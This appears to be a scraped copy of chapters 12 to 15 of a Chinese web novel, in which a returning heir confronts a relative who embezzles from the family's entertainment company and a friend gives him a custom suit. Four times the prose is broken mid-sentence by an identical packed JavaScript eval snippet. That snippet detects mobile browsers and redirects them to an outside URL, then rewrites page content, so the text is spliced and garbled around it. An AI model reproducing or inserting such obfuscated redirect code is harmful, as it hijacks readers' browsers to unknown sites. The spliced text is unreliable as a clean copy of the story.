贺真想了想,问盛俊文:“那鹭元呢?小时候我们总在一起玩,我记得他喜欢吃小蛋糕,也不知道他现在的口味怎么样。上次去四时居约他吃饭,结果却出现了一点小意外。” 盛俊文干笑两声,贺真自己觉得他问得委婉,但盛俊文觉得自己已经完全听出来他的意思了,这不是想追卓鹭元还能是什么! 可是这两年追过卓鹭元的人实在不少,盛俊文看着卓鹭元自己也没有想谈恋爱的意思,无论是男人女人都一样,追他的从来没有成功的。 凭心而论,贺真人还不错,至今为止也没做过什么让他们不喜的事,除了偶尔做的事比较令人迷惑,盛俊文也不想看到贺真也栽在卓鹭元身上,这样大家以后就没办法一起愉快地玩耍了。 但什么都不说也不合适,这不是明摆着不把贺真当朋友么。盛俊文想了想,觉得一些无关大雅的小事说了应该也无妨:“鹭元这人好甜口,还跟以前一样,吃不了辣的。以前他跟着他爸请西南来的客人吃饭,那一桌子辣菜愣是给他吃得胃疼,前前后后养了好久才养回来。” 贺真笑了笑,盛俊文不知道他在笑什么,贺真也没细说,对端着咖啡过来的服务员说了声谢谢,转而和盛俊文聊天:“只是忽然想起来上次在四时居,我点的菜里也没什么辣口的,现在想想还挺巧。” 其实他是发现卓鹭元脾气这么火爆,和小辣椒似的,结果却是个不能吃辣的人,心里觉得有趣。 最近也没见到卓鹭元,贺真想起了便问了一嘴:“最近他在忙什么,怎么好像都没听到他的消息。” 盛俊文的表情变得有些奇怪,支支吾吾地不知道怎么回答。 老实说,他也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664991|172965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道自己发小最近在捣鼓什么,自己找他总说在忙,听背景音似乎实在服装店,难不成被卓母抓去陪着逛街了?但卓鹭元向来没什么耐心,盛俊文觉得不像。 最后盛俊文也只是似是而非地回答:“说不定最近在忙着买衣服呢?这不是夏天快到了。” 买衣服? 卓鹭元还说他奇怪,明明他自己也很喜欢逛商场买衣服。算了,左右和他也没什么关系,他尊重别人的爱好。 “阿嚏!” 卓鹭元狠狠地打了个喷嚏,怀疑有人在背后说他坏话,卓母关心地看着自己儿子:“怎么好端端地打喷嚏,是不是感冒了?” “没事,就是觉得好像有人在背后念叨我。妈,我让你帮的忙怎么样了?”卓鹭元捏了捏鼻子,有些期待地看着卓母。 之前卓鹭元答应要送贺真一套衣服,他自诩衣品不错,但给别人挑衣服,还是个男人,还是从来没有过的事情。他知道贺真只是找个由头把之前的事揭过,送一套成衣也就足够了。 结果卓鹭元挑挑拣拣选一番,看哪个都不满意。 贺真个子高身材又好,宽肩窄腰倒三角,寻常衣服套在他身上总觉得比他本人还逊色几分,卓鹭元眼光挑剔,怎么看都不满意。 想来想去,卓鹭元决定定制一套。可是问题来了,他不知道贺真的尺码,所以只好请卓母出马,看看能不能问到。 卓母没让他的希望落空,笑吟吟地看着他:“问到啦。元元,你怎么突然想起来给小贺送衣服了,妈都没怎么见过你给其他朋友送过东西。” 卓鹭元没说实话,只说欠对方一个人情。卓母一看就知道他没说实话,笑着摇摇头:“你呀,不想说就算了。妈也搞不懂你们这些年轻人在想什么,小贺给你做饼干,你给小贺送衣服,和我们那会交朋友的方式可不太一样了。” 卓母说得委婉,其实心里也在纳闷,怎么他儿子的来往方式这么特别,甚至有些怀疑自己是不是生错了性别,这说是两个姑娘互相送礼物也不违和。 卓鹭元也没多解释,谢过卓母以后去联系设计师了,和设计师商量之后总算定了下来。 几天后,卓鹭元带着一套新衣服去贺家探病,眼神亮晶晶地,眉眼之间难掩得意之色,当着贺真的面把礼物打开:“怎么样,我的眼光还不错吧?” 贺真看着眼前明显是定制的衣服,神情有些意外,他没想到卓鹭元对这件事十分认真。 卓鹭元送的衣服偏正装一些,但却不是纯粹的黑色,而是十分接近黑色的深蓝,上衣下摆和背后处绣着暗纹,一看就是用了心的,贺真第一次觉得低调和华丽这两个形容词可以同时用在一套衣服上却不矛盾。 贺真这时才反应过来,盛俊文说卓鹭元最近在忙着买衣服,多半就是为了这份礼物。 贺真从卓鹭元手中接过这套衣服小心放好,上扬的唇角透露了他的好心情:“谢谢,我很喜欢。” 12. 第 12 章 “你看,那是不是小贺总?” “真的是小贺总!之前听说小贺总受伤了,也不知道伤好了没有。你看小贺总身上那套衣服,也只有小贺总能驾驭了。” 钱特助轻咳一声,打断员工们的窃窃私语:“现在不是午休时间,专心工作。” 说完钱特助怀着忐忑的心情,轻轻敲响了贺真办公室的门:“小贺总,您要的资料我拿来了。” 钱特助是跟着贺父的老人,全名叫钱进来,贺真打心眼里觉得贺父当年找钱特助进来,这个名起码占一半功劳。现在贺真开始慢慢接触公司的事,贺父干脆让钱特助直接跟着贺真,偶尔提点一下。 贺真点头接过资料,慢慢翻看了起来。 贺真要的资料是公司接触的各类项目的概况,想看看能不能找到那个最后让贺家破产的项目是哪一个,也好提前做好准备防范于未然。 贺家是做地产起家的,但贺父并没有像其他人一样一直做这个,而是在积累了一定资金之后转行改做科技相关,公司里不少元老都是当年跟着贺父白手起家的。 但贺父接触到这一行之后才发现事情没有自己想象得那么简单,国内科技起步太慢,既然贺父有资金,不如去国外拼一把,于是就这样带着妻子和年幼的贺真去了国外。 当然贺父也不是真的这么鲁莽,他离开时在国内留了一些产业,当作以防万一的退路。 贺真看了一下目前公司在进行的项目,大部分明面上看起来没什么问题,只有两个让贺真有些疑惑。 一个是和贺家不怎么搭边的,半死不活却依然保持合作的娱乐公司。另一家比较特别,是一家做医疗器械的公司,不知道是什么情况。 其他项目贺真准备先放一放,先调查这两个比较可疑的项目。 钱特助是个很有眼色的人,看到贺真在翻看娱乐公司的资料,贴心地开口说明:“这家星芒传媒是贺总前些年投资的,股份上咱们占大头。但近几年多了不少娱乐公司,星芒和他们比起来竞争力不大。而且…” 有些话钱特助有些犹豫该不该说,贺真直接一摆手让他说,有什么事他来解决,钱特助才开口:“这家公司背后的老板是贺彦,应该是贺总的亲属。” 贺真恍然大悟,怪不得这家老牌但不大牌的星芒传媒还没倒闭,原来是有些裙带关系在里面。 系统没有对贺真透露太多后期的剧情走向,所以贺真对剧情的了解也只停留在故事梗概的部分。贺真翻看着星芒的资料,旗下艺人多是些名不见经传的小明星,经纪人则更差,还有不少实习生,但值得一提的是男女明星的比例却达到了惊人的2:8,八成都是女明星。 好嘛,贺真就算是傻子也能看出来贺彦打得什么鬼主意,于是抱着眼不见心不烦的想法把资料丢在一边:“知道了,这段时间整理一下另一家医疗器械公司的情况,时间不用太赶,下周给我一份报告。至于星芒那边,我亲自去看看。” 都是打工人,贺真也不想当那种现在要马上给的老板,他怕被人挂路灯。 钱特助发现贺真似乎有意要对星芒开刀,想了想递了把刀过去:“星芒这几年在业界风评不好,但靠着他们旗下的一位头部男艺人,倒也不至于倒闭。那位男艺人估计贺总您也认识,叫郑潜溪。” 姓郑? 贺真在脑子里飞快地搜索了一圈姓郑的人,确认自己除了那和太阳过不去的后羿俩兄妹,再不认识什么其他姓郑的人了。 等等,该不会? 钱特助显然也听说过贺真和郑曦在晚宴上闹起来的事,接下来的话肯定了贺真的猜测:“郑潜溪是郑氏兄妹大伯的孩子,当年他们父母出了事,家里独木难支,郑潜溪家里帮了不少忙。” 冤家路窄,看来贺真是绕不过去郑曦了。贺真倒不是怕郑曦,只是觉得如果他想拿星芒开刀,郑曦夹在中间到时候多少有些难处理。 不过贺真也不是怕事的人,当即嘱咐钱特助去和星芒联系:“你和他们的负责人联系一下,就说我要去看一下星芒最近的营业情况。” 贺真没有丝毫遮掩自己要亲自去星芒的意思,钱特助小声提醒:“小贺总,我们就这样去视察,星芒那边的人应该会提前准备。”言下之意,他们最好不要大张旗鼓地去,否则就抓不住对方的小辫子了。 贺真侧目看着钱特助,心够黑,不愧是跟着贺父的,他喜欢。不过贺真并不想“微服出巡”去抓对方的小辫子,没道理自己家的产业,他去一趟还像做贼似的。 “不用低调。相反,我们就是要大张旗鼓地去。有些人当久了狐狸,都快忘了谁才是那只老虎。”贺真一语敲定,钱特助马上让人去办,看来他们小贺总也是个有主意的。 星芒娱乐的楼买得早,在淮市地段很好,只不过大楼看着还是许多年前的模样,一点要翻新的意思都没有,想也知道钱都流进了谁都口袋。 贺真刚下车就有人来迎接,态度恭敬又谄媚:“小贺总难得大驾光临,欢迎欢迎!” 来人是星芒娱乐的总经理,齐胜海,笑起来全身的肥肉似乎都能跟着抖三抖。贺真客气地握住齐胜海的手,不阴不阳地笑着说:“齐经理哪里的话,不过路过自家产业顺道看一眼罢了,齐经理倒是生分了。不知道的还以为……” 贺真握住齐胜海的那只手微微用力,脸上笑容不变:“这是齐经理的公司呢。齐经理以为呢,要是让人误会就不好了。” 齐胜海脸色骤变,几乎是瞬间抬头看向贺真,想要抽出自己的手。贺真却顺势松开了手,打趣齐胜海:“怎么说两句话,齐经理就出汗了?工作要紧,但身体还是要注意的。” 齐胜海擦去额头的冷汗,连声应和贺真的话:“贺总说得对。那我来给贺总引路,贺总这边请。” 钱特 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664992|172965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 助敏锐地发现齐胜海对贺真的称呼从“小贺总”变成了“贺总”,贺真的那一番敲打显然让齐胜海有些惶恐。 齐胜海在前面战战兢兢地引路,暗骂贺真为什么非要在这个时候回国。贺彦是贺家人,打断骨头还连着筋,但他齐胜海可不姓贺呀!万一真被贺真抓出点什么,这不是现成待宰的替罪羊么! 齐胜海在心里把贺家人骂了个遍,但面上还得挤出微笑伺候这个才回国不久的大少爷,指着前面的房间说:“这边都是练习室,公司里的艺人们都在这里训练,贺总要见一下他们吗?” 钱特助给的资料上都是一群俊男靓女,贺真没见过他们真人,正好也想看看里面掺杂了多少水分,于是对着齐胜海点头:“那就看看吧。” 贺真刚走到门口,就听到里面传来的娇笑声和一阵劲爆的电吉他。齐胜海下意识觉得不妙,贺真却已经推开门进去了。 半晌,贺真指着一群穿着超短裙,身材火辣且化着浓妆,正对着面前架着的手机直播放电的美女们问齐胜海:“这就是你说的艺人?” 其中一个美女见到贺真这种级别的男人,本来想上来搭讪,听到贺真的话却在心里翻了个白眼:“星芒招练习生,连点底薪都不给,我们穷的都快下.海了,又不像某些人有背景,赚点钱怎么了!” 招人连底薪都不开?法外狂徒竟在我身边。 齐胜海不等贺真发难,连忙抢在前面说:“这件事是我的疏忽,我马上让人去解决。” 那些艺人的目光都快黏在贺真身上了,贺真也不想久留,走在齐胜海前面出了这间练习室,准备去星芒其他地方看看。路过录音棚的时候,齐胜海为了找回点面子,特地引着人往里走:“您今天来得正好,里面是郑潜溪在录歌,他可是我们星芒的顶梁柱。” 录音棚里,郑潜溪唱了几遍都不怎么满意,郑曦已经在外面等得不耐烦了,轻轻敲了敲玻璃打断他:“潜溪哥,你已经唱得很好了,咱们就不录了吧?” 郑潜溪却摇摇头,摘下耳机兀自喝了口水,才顾得上回答郑曦的话:“曦曦,你要是累了就先回去吧。我的粉丝等着我发歌已经很久了,不认真对待怎么行。” 郑曦见劝不动郑潜溪,只好自己坐在外面生闷气。郑家一家子生意人,偏偏郑潜溪就喜欢隐姓埋名地逐梦演艺圈,这不是傻吗! 当然这个隐姓埋名只是对粉丝和部分老总,也没人敢带着郑潜溪去不干净的酒局。郑曦和郑煦兄妹俩为了给郑潜溪铺路,平时没少打点贺彦。 但郑潜溪在星芒还有通告可接,自身还是有点实力的,郑曦坐着外面等着郑潜溪录歌,慢慢地竟然真听出了些不同,似乎。她哥越唱越好了。 郑曦正捧着脸看自己哥哥时,外面忽然传来令人讨厌的声音:“郑曦?” 郑曦猛地抬头,情敌相见分外眼红:“贺真?怎么又是你这个死绿茶!” 13. 第 13 章 郑潜溪急忙把郑曦拉到自己背后,看着贺真的眼神里带着歉意:“抱歉,曦曦不是故意的。” 郑潜溪虽然没继承家业,但也不是两耳不闻窗外事,一心逐梦演艺圈,相反,当初他从曦曦那里听说贺家回国的时候就猜到了贺彦和贺家的关系。 而且看齐胜海的样子,恐怕贺家,或者说贺真才是他真正的老板。 郑曦也不是真的那么不懂事,在看到贺真背后那些人的时候就就后悔自己说错了话,却执拗地不肯道歉。贺真也没为难她,看着郑潜溪问齐胜海:“这就是郑潜溪?不错。” 齐胜海心里还正在琢磨贺真和郑曦之间的恩怨,听说是为了抢一个男人,冷不丁被贺真问到,马上笑着回答:“没错没错,他已经出道五年了,最近正在准备发歌。” 录音棚里除了郑潜溪和郑曦两个人,确实还有一些工作人员,看起来像是正在工作的样子。贺真不打算继续打扰他们工作,见过人以后略略点头,就让齐胜海带着自己去董事长办公室。 从贺真来星芒之后,贺彦这个明面上的老板从头到尾都没有出现过,很难不让他以为是在给自己下马威。 刚好他也想去看看,这公司到底什么样子。 ---------------- 贺彦接到下属电话的时候还沉浸在温柔乡里,听到秘书战战兢兢的汇报时还没把贺真当回事,不就是个刚回国的二世祖吗,他不信贺真能看出来什么:“让他看,我爸是他堂弟,我借他两个胆子他也不敢对我做什么!” 可是他真的敢啊! 秘书忍不住在心里骂街,捂住手机对着贺真赔了个笑脸,正打算再说些什么的时候,贺真却示意秘书把手机给他,对着电话那边的贺彦说:“我的胆子暂时够用,就不向你借了。不过……” 贺真看着电脑屏幕上报表里的数字,语气平静地听不出任何情绪:“还请你和我解释一下,你从公司‘借’的钱,打算什么时候还回来?” 贺彦一把推开怀中的女人,厉声打断女人的嗔怪声:“闭嘴,没看见老子在打电话!贺真,你想怎么样?” 贺彦心里清楚,贺家是靠贺真的父亲贺业明在支撑着,贺业明让他管理公司是一回事,但他要是敢挪用公司的钱就是另外一回事了。这些年他趁着贺家不在国内,背后做了不少事。别的事或许贺父可以原谅,但这种事绝对不可能! 贺真进了贺彦办公室之后一改刚才的和蔼作风,对着星芒的管理层和各部门负责人们开门见山:“把贺彦这些年在星芒的所作所为全部告诉我,说一件奖励一年奖金,谁先来?” 齐胜海连忙阻止,怕抖出什么事来牵扯到自己:“贺总,这不符合公司的规章制度啊!” “怎么,不给实习生开底薪,还从她们的直播里抽成就符合星芒的规章制度吗?”贺真一句话把齐胜海所有的说辞都堵了回去,其他负责人怕枪打出头鸟,没有一个敢先开口的。 会议室一片沉默,一道微弱的声音从门口传了进来,不确定地问贺真:“那个,奖金真给吗?” 还真有人敢要啊!众负责人扭头,抱着看好戏的心情去看是谁这么大胆,财务总监却发现说话的人是他们部门的一个小财务,顿时沉下脸色,低声骂道:“混账东西,谁让你说话了!” 贺真没管财务总监,对着门口露出的半颗脑袋点头:“对,我的承诺有效。” “那我要是被公司辞退了怎么办,现在找工作很难的。”小财务说完还迅速看了一眼财务总监,然后迅速低下头,一副“你知道我说的是谁”的样子。 财务总监气得指着对方就要骂人:“我看你是…” “何必生这么大气,”贺真拦住财务总监,对小财务说:“走辞职,赔你N+1,不会影响你背调。” 小财务眼神一亮,噌噌噌跑回工位抱了台笔记本电脑过来,十分熟练地打开投影到幕布上,深呼一口气,中气十足地大声喊到:“我要告发贺董事长祸乱公司,挪用公款!” 她忍这破公司很久了,今天终于说出来了,爽! 贺真:…… 贺彦的秘书察觉到大事不好,所以第一时间悄悄给贺彦打了电话通风报信,结果被贺真抓个正着。 小财务给公司里受压榨的员工开了个头,这会贺真正开着公放,听那些人你一言我一语地抖露着贺彦的事,也不着急回答贺彦的话:“我不想怎么样,只是让一切回到正轨而已。” 贺彦以为贺真才回国,就算想了解星芒的情况也会徐徐图之,短时间内不会有什么大动作,所以才敢放着齐胜海过来接待顺带糊弄贺真。 贺真要是知道贺彦的想法,大概会觉得他是不是电视剧看多了。 那种混入公司从最底层做起的办法不是不行,但在贺真看来效率太慢,他喜欢更直接高效的办法,比如直接把贺彦手里那点权力收回,直接坐上董事长的位置,后续做什么都会很方便。 贺彦撂了电话,用力捶了一拳方向盘,然后开车往公司赶去,他怕自己去晚了再生出更多事来。 小财务开了个头,后面的人。少了些顾忌,鼓起勇气继续爆贺彦的料:“公司里通告多的女艺人都和贺彦的关系不清不楚。其他不愿意的,想走也付不起违约金,只能自己想办法赚钱。” 不知道是谁嗤笑了一声:“不就是。睡了呗。” “我还知道他们会故意骗人去酒局,只要去了就算察觉也晚了,只能吃哑巴亏。” “听说贺彦玩得可花了,好像男的也有。” “道听途说的也想拿钱?” 其他负责人的目光向说话的人看过去,发现是公关部经理,顿时觉得这话可信了几分,那没事了。 这些人越说越起劲,管他黑的白的,最后说出来关于贺彦的事全是黄的。 贺真来星芒可不是想听贺彦的桃色绯闻,他更关心公司的财务状况。 眼见着其他人跑偏,贺真咳了一声把众人的思绪拉回正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664993|172965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轨:“贺彦还有其他财务上的问题吗?” 众人面面相觑,最后还是财务总监弱弱地说:“让其他工作室挂靠,套公司的钱算吗?” 贺彦之前放了几个没什么名气的艺人离开公司,后来又以他们的名义开了工作室挂靠在星芒,其实开支都是公司这边在负责,财务总监虽然知道也没什么办法就是了,他充其量也只是个高级打工人。 一个人爆贺彦的料也许会被报复,但人多就不一样了,贺真也是打着这个主意把贺彦的怒气都引到自己身上。 不过那个小财务倒是有点本事,既能默默收集证据,选择好时机一击必中,整理的资料也很简明易懂。 不过星芒她肯定是待不下去了,贺真看她失业有点可惜,于是向她抛出橄榄枝:“你叫什么名字,有没有意向去总公司发展?” 小财务眨了眨眼,意识到贺真这个大老板正在给自己发出offer,马上小鸡啄米般点头:“当然愿意了!” 那可是总公司啊,难道BOSS直聘今天让她碰上了?她还以为自己出门不被套麻袋就不错了。 等到贺彦来公司的时候,几乎已经没什么秘密了。 贺彦一眼就看到幕布上被投影出自己挪用公司公款的证据,脑子“嗡”地一声短路,完了,贺真都知道了! 贺真坐累了,站起来低头看着贺彦:“你是想在这里和我解释?” 贺彦被贺真居高临下的盯着,心里的愤怒和嫉妒涌上心头,竟然想动手打贺真,只是挥出的右拳却被对方轻松接住,然后瞬间向下折去,贺彦反倒发出杀猪一样的惨叫:“啊!我的手!” 贺彦的拳头太软,没什么重量,还没喝醉的卓鹭元推开自己的力气大,看来。真被酒色掏空了身体。 既然贺彦想动手打人,那贺真也没必要给他留面子了:“你在公司的事我已经听说了。接下来我会接管星芒,给你三天时间,把你在办公室的东西都拿走,否则我会让保洁直接扔了。” 贺真想到贺彦挪用公款的事,又补充一句:“当然,我指的是属于你自己的那一部分。如果那些东西的钱来路不正,我会追回。” 贺彦捂着手,冷汗顺着额头滴下来,却依然嘴硬:“贺真,我也是贺家人!你凭什么这么对我,我爸不会放过你的!” 贺真哼笑一声:“那就让他来。” 正好,他看贺彦他爹也不顺眼,能一次性解决了最好。 本来贺真只想先摸摸星芒的情况,谁想到公司里这么乌烟瘴气,员工们说的那些事听多了也够烦心的,索性趁这个机会一次性解决了。 至于贺家有人反对贺真的决定,贺真根本没当回事,公司又不是他们开的,贺真只要搞定贺父一个人就行,贺父也不是拎不清的人。 贺真有些无趣,忽然有点期待系统发布新的任务。 与其和这些人勾心斗角,还不如去做两个任务茶一下卓鹭元呢。 毕竟卓鹭元的反应还挺好玩的。 14. 第 14 章 系统跟在贺真背后亦步亦趋,忍不住夸赞:【宿主刚才真是太帅了,那个人都没打到你就被宿主反制了!】 贺真笑了笑没接话,没告诉系统他甚至没用力。今天贺真在星芒的事情,估计很快就会传到贺父耳朵里。虽然他不怎么在意贺彦对他的威胁,但有些事确实得和贺父先通个气,省得让人倒打一耙。 贺真的太爷爷有三个孩子,其中一家人不在淮市这边发展,已经差不多断了联系,只剩贺父和他堂弟那一支亲戚还在淮市。贺父的堂弟就是贺彦他爸,叫贺继明,听说当初留在淮市的理由是要给老人尽孝。 不过就贺彦和他父亲的做派来看,估计尽孝是假,图谋老人手里那点财产才是真的。 当初贺父去打算国外发展,贺继明带着家人一个两个都不同意,生怕贺父把所有钱都折在国外,好说歹说要劝他留在淮市。贺真的太爷爷是个心软的人,贺父为了说服他们,同意留下来一点产业交给他们打理,一是为了堵他们的嘴,二也是为了留点后路。 但是就贺真来看,如果贺父真的失败了,这条后路怕不是要变绝路。 贺真心里思索着贺家的情况,刚坐进车里就把系统抓到自己腿上,揉搓了两把以后问它:“我需要一些贺家的资料,你有什么办法?” 系统有些为难,叠了叠爪子对贺真说:【在主线剧情推进之前是不能透露太多相关剧情的…】 贺真打断它:“那和主线剧情无关的资料给我一些,哪种类型的都可以,八卦也行。”贺真是个嫌麻烦的人,要是有办法把他们一次解决就好了。 这个主系统倒没说不可以。系统找了半天,还真有宿主想要的东西:【宿主我找到了,关于贺彦和他父亲的八卦两份,因为不是宿主主动触发,所以每份要20积分。】 贺真付了积分,打开系统给的八卦看了起来。 只是没多久,系统就发现贺真的表情由疑惑变得震惊,最后定格在无语上。贺真关掉系统资料,没想到这父子俩的经历这么精彩,尤其是对探索两性之间的关系关注和擅长,贺真光是看文字描述都觉得要长针眼了。 所以贺真决定先放过自己,拿着资料去找贺父,顺便缓缓自己被伤害到的眼睛。 贺父看到贺真来的时候果然不意外,还是平常的样子:“来了,先坐。” 贺真把手上的资料放在贺父面前,自己坐在了他对面:“路上有点堵,回来晚了。” 贺父对着自己儿子侧目,这小子倒是沉得住气,不错,像他。贺父没翻桌上的资料,反而关心地问贺真:“听说贺彦那个小子对你动手了?怎么样,没伤到吧?” “他怎么可能伤到我。”贺真微微松了领带,不想却被贺父瞪了一眼:“谁问你了,我问的是他。那小子混,他爸也没好到哪去,但凡受伤了,肯定又哭着去找他爷爷告状。” 自己儿子看着就不像是个能吃亏的,贺彦不被反揍一顿就不错了。 今天的事才发生不久,贺父就已经全部知道了,星芒里没点内鬼贺真是不信的。想到这里,贺真打趣地看着贺父:“他和爷爷告状很严重吗,还是爸你怕了?” “臭小子,怎么和你爸说话呢?”贺父把那沓资料挪到一边,自顾自喝了口水:“怕倒是不怕,就是烦人。你爸也没有你想得那么天真,这些年星芒的情况我一直找人盯着,只不过国外太远,有些时候到底还是鞭长莫及。” 这不,贺真刚去星芒就发现贺继明父子俩就给他搞了个大的,贺父要说没有失望和生气那是不可能的。 但那到底是贺家人,贺真可以毫无顾忌地把人赶出星芒,贺父却不能完全不顾老爷子的想法送贺彦去坐牢,这一点上贺父还没下定决心。 贺真的想法和贺父不同,发现贺父有些犹豫时就说出了自己的想法:“虽然。星芒是我们家自己的产业,但这么多年过去,贺彦他们早就把公司当当作了自己的所有物。今天我动了他们的蛋糕,我们两家已经不可能和平共处了。爸,不如我们打个赌,如果我赢了,星芒的事情就全部交给我来处理。” 贺父听到贺真提出的赌约,虽然不觉得他会赢,但还是生出来点兴趣:“你想赌什么?” “赌下一步他们父子俩会怎么做。”贺真想起系统给的八卦,心里对贺父说了句抱歉,打算用信息差赢下这场赌约:“我猜你会赌他们父子俩一定会去爷爷面前告状,逼着你保下贺彦,把事情压下去,对吧?” 贺父心里确实是这样想的,面上却不动声色:“但你不这样认为。” 贺真点头:“是。所以我赌贺继明下一步一定会带着贺彦直接找到你,完全把贺彦交给你处理。” 贺父下意识想说不可能,但看到贺真不慌不忙的样子,心里一动,应下了这场赌约:“好。” 卓鹭元把手机解锁后又关上,心里忍不住嘀咕,贺真这家伙最近忙什么呢,也不知道伤好了没有。前段时间为了贺真那套衣服,卓鹭元没少跑前跑后,这两天给自己放了个假,在家里美美睡了几天。 贺真倒好,收了衣服就没下文了。 卓鹭元有些不爽,拿衣服可花了他不少钱和心思,这人却不声不响的。 这时盛俊文的电话突然打过来,卓鹭元无聊地点了接听:“干什么,要是没事就别耽误我睡觉了。” “元儿,你都睡了几天了还睡呐,快看咱们群里,贺真这两天可了不得了!”盛俊文的大嗓门勉强把卓鹭元喊精神了点,于是他也没挂电话,点开群里看他们的聊天:“他做什么了?星芒?那不是姓贺的家伙在的公司吗?” 卓鹭元的追求者太多,贺彦心里不爽,明着暗着没少给他使绊子,所以卓鹭元可讨厌他了,虽然严格意义上对方也是贺家人,但卓鹭元对他的称呼一直都是“姓贺的”,遇到了也不给好脸。 盛俊文兴奋的声音从电话另外一边传来:“听说贺真去星芒视察了,然后估计是发现姓贺的在公司里乱来,发了好大的脾气,听说直接把人从公司赶走了。你是没见到姓贺的那家伙灰溜溜离开的样子,可解气了!” 星芒里的艺人除了郑潜溪还凑合,剩下卓鹭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664994|172965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 元都不太能看得上,似乎在业界也没什么名气,没想到贺真回国的第一件事是先收拾这个烂摊子。 卓鹭元边翻着聊天记录边说:“那还挺好的嘛,我早就看不惯姓贺的那狐假虎威的样子了,谁不知道贺家都是靠贺伯伯支撑的。这下好了,总算拨乱反正了。” 卓鹭元心情颇好地在群里发了一个干得漂亮,盛俊文马上跟了一个表情,还不忘提醒卓鹭元:“你别就看最近那几条,往上翻翻,上面还有图呢。今天阿衡刚好在那边,看到贺真也去了之后马上拍了图给大家分享,就你一个人在睡觉,一条都没看到。” “哎呀,我不就是睡了两天觉吗,这算什么大事。挂了,我要看图补课去了。”卓鹭元冷漠无情地挂了盛俊文的电话,兴致勃勃地略过“99+”的消息,往上翻着找图去了。 阿衡拍的图多,在群里说得话更多,整个人像一个前线记者一样,盛俊文和亮子还时不时跟着附和两句,热闹得不行。 卓鹭元翻到手酸,终于看到了阿衡“站哥出品”的前线返图,图上正是贺真和齐胜海两个人站在公司前,正在握手的样子。阿衡发完图之后还不忘锐评一句:辣眼睛,我甚至觉得贺真和他握手吃亏了。 卓鹭元:…… 齐胜海个子矮,体型胖,头顶的头发就像南瓜上的一片叶子:尽力了,但盖不住。他整个人的形象非常符合人们对利用职务之便揩油属下,满面油光的猥琐老板。 而贺真无论身材和长相完全不输星芒所有明星,甚至说压过一头也不为过。两个人站在一起握手,呃,确实有点像是贺真吃亏了。 卓鹭元在心里默默给阿衡的话点了个赞,随手点开其中一张大图,指尖却在看清贺真的穿着时顿住,下意识放大了那张照片。 照片中的人沐浴在阳光下,身上穿着卓鹭元精心制作的西装,衣服上绣的竹子暗纹微微反射着光,整个人看起来矜贵无比。只是面对齐胜海气势十足,多了些令卓鹭元陌生的冷峻。 原来贺真还有这一面,看来他的衣服没选错。 卓鹭元马上把心里那点不爽忘得干干净净,戳开贺真的聊天框把阿衡拍的图发了过去,怕他看不清楚还发了原图:我就说我的眼光不错吧,这个暗纹我可和设计师商量了好久。 卓鹭元发完才想起来关心贺真的伤势,心虚地掩耳盗铃般补充一句:你的伤没事了吧? 贺真今天累了一天,虽然主要是心累,在把卓鹭元送的衣服交给阿姨养护之后就准备洗澡休息,手机却突然响了。 贺真打开一看,眼中多了点笑意,还是和卓鹭元这样简单的人打交道舒心:伤好了,衣服很好看。明天有时间吗,一起出去吃个饭?最近我一直在忌口,不如出去改善伙食? 想起上次不愉快的经历,贺真补充了一句:不去四时居。 卓鹭元本来想拒绝,但想到忌口时什么也不能吃的痛苦,还是准备答应下来,结果又及时看到了贺真的下一句话,没忍住笑了出来。 卓鹭元:就去四时居,小爷我还能怕了他? 15. 第 15 章 贺真比卓鹭元来得早一些,四时居的经理亲自将贺真送进包间里,态度诚恳地道歉:“上次的事是我们四时居的疏忽,感谢贺先生还愿意选择我们。贺先生这边请,我们为您预留了贵宾包间。” 四时居的赔偿和道歉都很诚恳,贺真也没计较,任由经理带着他过去了。 贺真说自己忌口太久不是骗卓鹭元的,因为受伤的原因,贺真只能吃些清淡的饭菜,嘴里都快淡得没味儿了。进来包厢第一件事,贺真就是把上次没吃到嘴里的菜都点了一遍,当作伤好后的庆祝。 贺真到了没多久,卓鹭元就来了。 